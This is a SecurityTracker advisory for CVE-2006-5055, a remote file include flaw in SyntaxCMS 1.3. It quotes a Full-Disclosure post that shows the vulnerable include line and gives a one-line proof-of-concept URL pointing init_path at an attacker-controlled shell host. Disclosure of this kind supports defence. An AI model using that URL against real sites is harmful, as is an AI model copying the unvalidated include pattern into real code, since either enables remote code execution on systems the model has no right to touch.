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Category:  Application (Forum/Board/Portal)  >  SyntaxCMS Vendors:  syntaxcms.org
SyntaxCMS Include File Bug in '0004_init_urls.php' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016914
SecurityTracker URL:  http://securitytracker.com/id?1016914
CVE Reference:  CVE-2006-5055   (Links to External Site)
Updated:  Jun 3 2008
Original Entry Date:  Sep 25 2006
Impact:  Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.3
Description:  A vulnerability was reported in SyntaxCMS. A remote user can include and execute arbitrary code on the target system.

The '0004_init_urls.php' script does not properly validate user-supplied input in the 'init_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

MoHaJaLi discovered this vulnerability.

Impact:  A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:  No solution was available at the time of this entry.
Vendor URL:  syntaxcms.org/ (Links to External Site)
Cause:  Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  "MoHaJaLi" <mohajali2k4@gmail.com>
Message History:   None.


 Source Message Contents

Date:  Sun, 24 Sep 2006 11:49:21 -0700
From:  "MoHaJaLi" <mohajali2k4@gmail.com>
Subject:  [Full-disclosure] Remote File Include in syntaxCMS

 

Remote File Include in syntaxCMS

Vulnerable File:

0004_init_urls.php

Vulnerable Code:

   1  <?php 
   2  include_once( $init_path . '/init.urls.php' );
   3  ?>

PoC:

http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004_init_urls.php?init_path=http://YourShe
ll?& Solution: Remove This File...it's not needed...just used for tests ____ Found by MoHaJaLi Greetz to Eddy_BAck0o ____ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/


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